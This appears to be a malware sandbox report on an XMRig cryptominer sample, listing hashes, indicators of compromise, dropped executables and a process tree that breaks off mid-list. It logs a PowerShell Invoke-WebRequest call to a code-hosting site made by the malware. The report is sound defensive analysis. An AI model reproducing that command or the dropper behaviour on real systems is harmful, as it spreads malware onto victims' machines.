xmrig | b8f0e55f736df7bb507ab19f8e828f61427d75819ecc0781ea222ad158d7ccba

Analysis

max time kernel
91s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
17/09/2023, 15:42 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7906a13136a42ef172726a9b16a981d0_JC.exe
Size

3.7MB
MD5

7906a13136a42ef172726a9b16a981d0
SHA1

d3f05e88cce6dd204678808798690bf4d46ee100
SHA256

b8f0e55f736df7bb507ab19f8e828f61427d75819ecc0781ea222ad158d7ccba
SHA512

e82ce05bdb2447577d5c4f939591e5e847bf92edc0e4fda8ad83345587c3cbd51c50e61343ada8625618f695079fdf025ded254d83eb19406a744df530a4aab3
SSDEEP

98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWL:SbBeSFk3

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/3312-0-0x00007FF7ADFD0000-0x00007FF7AE3C6000-memory.dmp	xmrig
behavioral2/files/0x00070000000231b4-6.dat	xmrig
behavioral2/files/0x00070000000231b4-5.dat	xmrig
behavioral2/files/0x00070000000231ba-10.dat	xmrig
behavioral2/memory/1076-15-0x00007FF7C0ED0000-0x00007FF7C12C6000-memory.dmp	xmrig
behavioral2/files/0x00060000000231bd-21.dat	xmrig
behavioral2/files/0x00060000000231c0-32.dat	xmrig
behavioral2/files/0x00060000000231c2-46.dat	xmrig
behavioral2/memory/4116-51-0x00007FF70FB40000-0x00007FF70FF36000-memory.dmp	xmrig
behavioral2/files/0x00060000000231c4-60.dat	xmrig
behavioral2/files/0x00060000000231c4-68.dat	xmrig
behavioral2/files/0x00070000000231c8-91.dat	xmrig
behavioral2/files/0x00060000000231c9-99.dat	xmrig
behavioral2/files/0x00070000000231c8-103.dat	xmrig
behavioral2/files/0x00060000000231c9-112.dat	xmrig
behavioral2/files/0x00070000000231c7-133.dat	xmrig
behavioral2/files/0x00060000000231d0-140.dat	xmrig
behavioral2/files/0x00060000000231cf-151.dat	xmrig
behavioral2/files/0x00060000000231d5-171.dat	xmrig
behavioral2/files/0x00060000000231d6-177.dat	xmrig
behavioral2/memory/1340-181-0x00007FF7E4F10000-0x00007FF7E5306000-memory.dmp	xmrig
behavioral2/memory/1452-184-0x00007FF737A20000-0x00007FF737E16000-memory.dmp	xmrig
behavioral2/memory/3352-187-0x00007FF7F50B0000-0x00007FF7F54A6000-memory.dmp	xmrig
behavioral2/memory/1616-191-0x00007FF757300000-0x00007FF7576F6000-memory.dmp	xmrig
behavioral2/memory/1200-194-0x00007FF73B010000-0x00007FF73B406000-memory.dmp	xmrig
behavioral2/memory/2580-200-0x00007FF61A1B0000-0x00007FF61A5A6000-memory.dmp	xmrig
behavioral2/memory/3060-201-0x00007FF764780000-0x00007FF764B76000-memory.dmp	xmrig
behavioral2/memory/1772-209-0x00007FF7066D0000-0x00007FF706AC6000-memory.dmp	xmrig
behavioral2/memory/976-212-0x00007FF716A10000-0x00007FF716E06000-memory.dmp	xmrig
behavioral2/memory/3952-215-0x00007FF634F00000-0x00007FF6352F6000-memory.dmp	xmrig
behavioral2/memory/1288-214-0x00007FF70FEE0000-0x00007FF7102D6000-memory.dmp	xmrig
behavioral2/memory/3864-213-0x00007FF6149D0000-0x00007FF614DC6000-memory.dmp	xmrig
behavioral2/memory/2120-211-0x00007FF7FD610000-0x00007FF7FDA06000-memory.dmp	xmrig
behavioral2/memory/4872-210-0x00007FF71ED50000-0x00007FF71F146000-memory.dmp	xmrig
behavioral2/memory/4460-207-0x00007FF69CB20000-0x00007FF69CF16000-memory.dmp	xmrig
behavioral2/memory/4920-206-0x00007FF7A7CA0000-0x00007FF7A8096000-memory.dmp	xmrig
behavioral2/files/0x00060000000231da-199.dat	xmrig
behavioral2/files/0x00060000000231d9-198.dat	xmrig
behavioral2/files/0x00060000000231d8-197.dat	xmrig
behavioral2/memory/3900-196-0x00007FF731710000-0x00007FF731B06000-memory.dmp	xmrig
behavioral2/memory/2888-195-0x00007FF7245D0000-0x00007FF7249C6000-memory.dmp	xmrig
behavioral2/memory/780-193-0x00007FF703600000-0x00007FF7039F6000-memory.dmp	xmrig
behavioral2/memory/3808-192-0x00007FF6A69E0000-0x00007FF6A6DD6000-memory.dmp	xmrig
behavioral2/memory/4108-190-0x00007FF70C030000-0x00007FF70C426000-memory.dmp	xmrig
behavioral2/memory/4560-189-0x00007FF7BB270000-0x00007FF7BB666000-memory.dmp	xmrig
behavioral2/memory/4792-188-0x00007FF740EC0000-0x00007FF7412B6000-memory.dmp	xmrig
behavioral2/memory/3916-186-0x00007FF766100000-0x00007FF7664F6000-memory.dmp	xmrig
behavioral2/memory/4832-185-0x00007FF6BE9A0000-0x00007FF6BED96000-memory.dmp	xmrig
behavioral2/memory/3176-183-0x00007FF6ABE70000-0x00007FF6AC266000-memory.dmp	xmrig
behavioral2/memory/5008-182-0x00007FF6DCF10000-0x00007FF6DD306000-memory.dmp	xmrig
behavioral2/memory/4564-180-0x00007FF782990000-0x00007FF782D86000-memory.dmp	xmrig
behavioral2/memory/4640-179-0x00007FF7EA760000-0x00007FF7EAB56000-memory.dmp	xmrig
behavioral2/files/0x00060000000231d7-168.dat	xmrig
behavioral2/files/0x00060000000231d4-166.dat	xmrig
behavioral2/files/0x00060000000231d6-165.dat	xmrig
behavioral2/files/0x00060000000231d5-162.dat	xmrig
behavioral2/files/0x00060000000231d3-158.dat	xmrig
behavioral2/files/0x00060000000231d4-155.dat	xmrig
behavioral2/files/0x00060000000231d2-153.dat	xmrig
behavioral2/files/0x00060000000231d3-148.dat	xmrig
behavioral2/files/0x00060000000231d1-146.dat	xmrig
behavioral2/files/0x00060000000231d2-143.dat	xmrig
behavioral2/files/0x00060000000231cf-142.dat	xmrig
behavioral2/files/0x00060000000231ce-138.dat	xmrig

Blocklisted process makes network request 5 IoCs

flow	pid	Process
9	2788	powershell.exe
12	2788	powershell.exe
21	2788	powershell.exe
22	2788	powershell.exe
31	2788	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1076	syLgfEc.exe
1096	riYUBWK.exe
1772	BPsISZJ.exe
3036	pyRLrQE.exe
4116	wxLHmZQ.exe
748	zYrejHo.exe
4872	GhXuHGs.exe
4640	dCpOsAQ.exe
4564	lzJlSmV.exe
2120	kmIsnbe.exe
1340	ErctvaU.exe
976	pBPEGOV.exe
5008	oSziZME.exe
3176	jDZbRZy.exe
1452	YZcXfAH.exe
4832	TfkzbgY.exe
3916	fuQSaYA.exe
3352	QCMfAYn.exe
4792	cybzjmE.exe
4560	sqTzEXQ.exe
4108	irZggKV.exe
3864	KUEecZU.exe
1288	QnHrZPa.exe
1616	EQxFSBj.exe
3808	RNsbMEG.exe
780	pJQlPZI.exe
1200	BdYoJZM.exe
2888	nDlUYQa.exe
3900	mMsrSLQ.exe
2580	YXsXtrv.exe
3060	qSAbDhz.exe
3952	dJUTBdG.exe
4920	GoDlGBE.exe
4460	oEajybW.exe
2748	MEeyyGh.exe
580	LonopKT.exe
2596	WfRcIfa.exe
816	jyVTmyV.exe
4752	nIOJZGS.exe
1856	CXCWUEh.exe
1420	bvRPVsy.exe
2792	ypDhOyb.exe
4192	ouRYPWm.exe
2676	XVDWpNz.exe
2812	rkgSiPf.exe
920	mdcNfAG.exe
3044	DINZnfU.exe
964	jAZMDIP.exe
4520	IRnpxUA.exe
3880	VfnIgDu.exe
3588	agiyeUN.exe
4016	jSroclI.exe
3092	wzNqPhL.exe
1052	hRIETOT.exe
2940	DEYTXnm.exe
2380	VORIglG.exe
3676	udsBdom.exe
1476	PlUSWcw.exe
1756	INKbVZG.exe
948	gEylbQD.exe
1324	oFBudFO.exe
3304	RwkYGkq.exe
2992	tEEBrLP.exe
60	ciGlVni.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3312-0-0x00007FF7ADFD0000-0x00007FF7AE3C6000-memory.dmp	upx
behavioral2/files/0x00070000000231b4-6.dat	upx
behavioral2/files/0x00070000000231b4-5.dat	upx
behavioral2/files/0x00070000000231ba-10.dat	upx
behavioral2/memory/1076-15-0x00007FF7C0ED0000-0x00007FF7C12C6000-memory.dmp	upx
behavioral2/files/0x00060000000231bd-21.dat	upx
behavioral2/files/0x00060000000231c0-32.dat	upx
behavioral2/files/0x00060000000231c2-46.dat	upx
behavioral2/memory/4116-51-0x00007FF70FB40000-0x00007FF70FF36000-memory.dmp	upx
behavioral2/files/0x00060000000231c4-60.dat	upx
behavioral2/files/0x00060000000231c4-68.dat	upx
behavioral2/files/0x00070000000231c8-91.dat	upx
behavioral2/files/0x00060000000231c9-99.dat	upx
behavioral2/files/0x00070000000231c8-103.dat	upx
behavioral2/files/0x00060000000231c9-112.dat	upx
behavioral2/files/0x00070000000231c7-133.dat	upx
behavioral2/files/0x00060000000231d0-140.dat	upx
behavioral2/files/0x00060000000231cf-151.dat	upx
behavioral2/files/0x00060000000231d5-171.dat	upx
behavioral2/files/0x00060000000231d6-177.dat	upx
behavioral2/memory/1340-181-0x00007FF7E4F10000-0x00007FF7E5306000-memory.dmp	upx
behavioral2/memory/1452-184-0x00007FF737A20000-0x00007FF737E16000-memory.dmp	upx
behavioral2/memory/3352-187-0x00007FF7F50B0000-0x00007FF7F54A6000-memory.dmp	upx
behavioral2/memory/1616-191-0x00007FF757300000-0x00007FF7576F6000-memory.dmp	upx
behavioral2/memory/1200-194-0x00007FF73B010000-0x00007FF73B406000-memory.dmp	upx
behavioral2/memory/2580-200-0x00007FF61A1B0000-0x00007FF61A5A6000-memory.dmp	upx
behavioral2/memory/3060-201-0x00007FF764780000-0x00007FF764B76000-memory.dmp	upx
behavioral2/memory/1772-209-0x00007FF7066D0000-0x00007FF706AC6000-memory.dmp	upx
behavioral2/memory/976-212-0x00007FF716A10000-0x00007FF716E06000-memory.dmp	upx
behavioral2/memory/3952-215-0x00007FF634F00000-0x00007FF6352F6000-memory.dmp	upx
behavioral2/memory/1288-214-0x00007FF70FEE0000-0x00007FF7102D6000-memory.dmp	upx
behavioral2/memory/3864-213-0x00007FF6149D0000-0x00007FF614DC6000-memory.dmp	upx
behavioral2/memory/2120-211-0x00007FF7FD610000-0x00007FF7FDA06000-memory.dmp	upx
behavioral2/memory/4872-210-0x00007FF71ED50000-0x00007FF71F146000-memory.dmp	upx
behavioral2/memory/4460-207-0x00007FF69CB20000-0x00007FF69CF16000-memory.dmp	upx
behavioral2/memory/4920-206-0x00007FF7A7CA0000-0x00007FF7A8096000-memory.dmp	upx
behavioral2/files/0x00060000000231da-199.dat	upx
behavioral2/files/0x00060000000231d9-198.dat	upx
behavioral2/files/0x00060000000231d8-197.dat	upx
behavioral2/memory/3900-196-0x00007FF731710000-0x00007FF731B06000-memory.dmp	upx
behavioral2/memory/2888-195-0x00007FF7245D0000-0x00007FF7249C6000-memory.dmp	upx
behavioral2/memory/780-193-0x00007FF703600000-0x00007FF7039F6000-memory.dmp	upx
behavioral2/memory/3808-192-0x00007FF6A69E0000-0x00007FF6A6DD6000-memory.dmp	upx
behavioral2/memory/4108-190-0x00007FF70C030000-0x00007FF70C426000-memory.dmp	upx
behavioral2/memory/4560-189-0x00007FF7BB270000-0x00007FF7BB666000-memory.dmp	upx
behavioral2/memory/4792-188-0x00007FF740EC0000-0x00007FF7412B6000-memory.dmp	upx
behavioral2/memory/3916-186-0x00007FF766100000-0x00007FF7664F6000-memory.dmp	upx
behavioral2/memory/4832-185-0x00007FF6BE9A0000-0x00007FF6BED96000-memory.dmp	upx
behavioral2/memory/3176-183-0x00007FF6ABE70000-0x00007FF6AC266000-memory.dmp	upx
behavioral2/memory/5008-182-0x00007FF6DCF10000-0x00007FF6DD306000-memory.dmp	upx
behavioral2/memory/4564-180-0x00007FF782990000-0x00007FF782D86000-memory.dmp	upx
behavioral2/memory/4640-179-0x00007FF7EA760000-0x00007FF7EAB56000-memory.dmp	upx
behavioral2/files/0x00060000000231d7-168.dat	upx
behavioral2/files/0x00060000000231d4-166.dat	upx
behavioral2/files/0x00060000000231d6-165.dat	upx
behavioral2/files/0x00060000000231d5-162.dat	upx
behavioral2/files/0x00060000000231d3-158.dat	upx
behavioral2/files/0x00060000000231d4-155.dat	upx
behavioral2/files/0x00060000000231d2-153.dat	upx
behavioral2/files/0x00060000000231d3-148.dat	upx
behavioral2/files/0x00060000000231d1-146.dat	upx
behavioral2/files/0x00060000000231d2-143.dat	upx
behavioral2/files/0x00060000000231cf-142.dat	upx
behavioral2/files/0x00060000000231ce-138.dat	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\bsduvcZ.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\eXgLvVI.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\czoGUcW.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\GqhMkqE.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\lZgtZyL.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\BVScGkt.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\YQdNEcZ.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\HgRLMhH.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\tLrftxA.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\xmHEVen.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\dzHQVLX.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\MPkrSTD.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\AqjBQjD.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\yBrUoxB.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\kHYqeSl.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\barmLLw.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\BTtmnzm.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\vfLlVws.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\sSbbTyV.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\ilFVbTj.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\RLwHVXl.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\gPgfivs.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\tRiqVWB.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\lnGGOZa.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\UXYgUxO.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\FbWJKBn.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\FIkXghK.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\gJnoiGp.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\UYVxMlv.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\lsyJNdG.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\wDdeEWS.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\jzwdJfT.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\UaBWNYk.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\NrvWZCg.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\vHdCWyM.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\bXsMyND.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\oBPonjp.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\cmjTzdz.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\vOonVfl.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\RHVQiij.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\kBZPnhn.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\iSJDOjD.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\GaTiZRu.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\uZsEqsn.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\lwvJAlO.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\itGKtia.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\Yexnaca.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\OLGClBz.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\CmJNMBt.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\AWyCUcD.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\uweZoAB.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\CMjXYPH.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\kSawEbL.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\IvkhXdy.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\wBPFtED.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\caQfHpC.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\IBMYCeb.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\yhxZGkN.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\DEYTXnm.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\xqQMYIy.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\stqmUVD.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\NxxfSic.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\DYVadHY.exe	7906a13136a42ef172726a9b16a981d0_JC.exe
File created	C:\Windows\System\rVRYQyu.exe	7906a13136a42ef172726a9b16a981d0_JC.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2788	powershell.exe
2788	powershell.exe
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3312	7906a13136a42ef172726a9b16a981d0_JC.exe
Token: SeLockMemoryPrivilege	3312	7906a13136a42ef172726a9b16a981d0_JC.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 2788	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	86
PID 3312 wrote to memory of 2788	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	86
PID 3312 wrote to memory of 1076	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	87
PID 3312 wrote to memory of 1076	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	87
PID 3312 wrote to memory of 1096	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	88
PID 3312 wrote to memory of 1096	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	88
PID 3312 wrote to memory of 1772	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	321
PID 3312 wrote to memory of 1772	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	321
PID 3312 wrote to memory of 3036	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	320
PID 3312 wrote to memory of 3036	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	320
PID 3312 wrote to memory of 4116	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	319
PID 3312 wrote to memory of 4116	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	319
PID 3312 wrote to memory of 748	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	318
PID 3312 wrote to memory of 748	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	318
PID 3312 wrote to memory of 4872	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	89
PID 3312 wrote to memory of 4872	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	89
PID 3312 wrote to memory of 4640	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	290
PID 3312 wrote to memory of 4640	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	290
PID 3312 wrote to memory of 4564	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	90
PID 3312 wrote to memory of 4564	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	90
PID 3312 wrote to memory of 2120	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	289
PID 3312 wrote to memory of 2120	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	289
PID 3312 wrote to memory of 1340	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	198
PID 3312 wrote to memory of 1340	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	198
PID 3312 wrote to memory of 976	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	91
PID 3312 wrote to memory of 976	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	91
PID 3312 wrote to memory of 5008	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	197
PID 3312 wrote to memory of 5008	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	197
PID 3312 wrote to memory of 3176	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	196
PID 3312 wrote to memory of 3176	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	196
PID 3312 wrote to memory of 3916	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	195
PID 3312 wrote to memory of 3916	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	195
PID 3312 wrote to memory of 1452	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	194
PID 3312 wrote to memory of 1452	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	194
PID 3312 wrote to memory of 4832	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	193
PID 3312 wrote to memory of 4832	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	193
PID 3312 wrote to memory of 3352	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	192
PID 3312 wrote to memory of 3352	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	192
PID 3312 wrote to memory of 4792	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	92
PID 3312 wrote to memory of 4792	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	92
PID 3312 wrote to memory of 4560	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	191
PID 3312 wrote to memory of 4560	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	191
PID 3312 wrote to memory of 4108	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	109
PID 3312 wrote to memory of 4108	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	109
PID 3312 wrote to memory of 3864	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	108
PID 3312 wrote to memory of 3864	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	108
PID 3312 wrote to memory of 3808	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	107
PID 3312 wrote to memory of 3808	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	107
PID 3312 wrote to memory of 1288	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	106
PID 3312 wrote to memory of 1288	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	106
PID 3312 wrote to memory of 1616	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	93
PID 3312 wrote to memory of 1616	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	93
PID 3312 wrote to memory of 780	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	94
PID 3312 wrote to memory of 780	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	94
PID 3312 wrote to memory of 1200	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	104
PID 3312 wrote to memory of 1200	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	104
PID 3312 wrote to memory of 2888	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	102
PID 3312 wrote to memory of 2888	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	102
PID 3312 wrote to memory of 3900	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	101
PID 3312 wrote to memory of 3900	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	101
PID 3312 wrote to memory of 2580	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	100
PID 3312 wrote to memory of 2580	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	100
PID 3312 wrote to memory of 3060	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	99
PID 3312 wrote to memory of 3060	3312	7906a13136a42ef172726a9b16a981d0_JC.exe	99

C:\Users\Admin\AppData\Local\Temp\7906a13136a42ef172726a9b16a981d0_JC.exe
"C:\Users\Admin\AppData\Local\Temp\7906a13136a42ef172726a9b16a981d0_JC.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System\syLgfEc.exe
  C:\Windows\System\syLgfEc.exe
  2⤵
  - Executes dropped EXE
  PID:1076
- C:\Windows\System\riYUBWK.exe
  C:\Windows\System\riYUBWK.exe
  2⤵
  - Executes dropped EXE
  PID:1096
- C:\Windows\System\GhXuHGs.exe
  C:\Windows\System\GhXuHGs.exe
  2⤵
  - Executes dropped EXE
  PID:4872
- C:\Windows\System\lzJlSmV.exe
  C:\Windows\System\lzJlSmV.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\pBPEGOV.exe
  C:\Windows\System\pBPEGOV.exe
  2⤵
  - Executes dropped EXE
  PID:976
- C:\Windows\System\cybzjmE.exe
  C:\Windows\System\cybzjmE.exe
  2⤵
  - Executes dropped EXE
  PID:4792
- C:\Windows\System\EQxFSBj.exe
  C:\Windows\System\EQxFSBj.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\pJQlPZI.exe
  C:\Windows\System\pJQlPZI.exe
  2⤵
  - Executes dropped EXE
  PID:780
- C:\Windows\System\MEeyyGh.exe
  C:\Windows\System\MEeyyGh.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\oEajybW.exe
  C:\Windows\System\oEajybW.exe
  2⤵
  - Executes dropped EXE
  PID:4460
- C:\Windows\System\GoDlGBE.exe
  C:\Windows\System\GoDlGBE.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\dJUTBdG.exe
  C:\Windows\System\dJUTBdG.exe
  2⤵
  - Executes dropped EXE
  PID:3952
- C:\Windows\System\qSAbDhz.exe
  C:\Windows\System\qSAbDhz.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\YXsXtrv.exe
  C:\Windows\System\YXsXtrv.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\mMsrSLQ.exe
  C:\Windows\System\mMsrSLQ.exe
  2⤵
  - Executes dropped EXE
  PID:3900
- C:\Windows\System\nDlUYQa.exe
  C:\Windows\System\nDlUYQa.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\BdYoJZM.exe
  C:\Windows\System\BdYoJZM.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\QnHrZPa.exe
  C:\Windows\System\QnHrZPa.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\RNsbMEG.exe
  C:\Windows\System\RNsbMEG.exe
  2⤵
  - Executes dropped EXE
  PID:3808
- C:\Windows\System\KUEecZU.exe
  C:\Windows\System\KUEecZU.exe
  2⤵
  - Executes dropped EXE
  PID:3864
- C:\Windows\System\irZggKV.exe
  C:\Windows\System\irZggKV.exe
  2⤵
  - Executes dropped EXE
  PID:4108
- C:\Windows\System\LonopKT.exe
  C:\Windows\System\LonopKT.exe
  2⤵
  - Executes dropped EXE
  PID:580
- C:\Windows\System\WfRcIfa.exe
  C:\Windows\System\WfRcIfa.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\jyVTmyV.exe
  C:\Windows\System\jyVTmyV.exe
  2⤵
  - Executes dropped EXE
  PID:816
- C:\Windows\System\bvRPVsy.exe
  C:\Windows\System\bvRPVsy.exe
  2⤵
  - Executes dropped EXE
  PID:1420
- C:\Windows\System\ouRYPWm.exe
  C:\Windows\System\ouRYPWm.exe
  2⤵
  - Executes dropped EXE
  PID:4192
- C:\Windows\System\ypDhOyb.exe
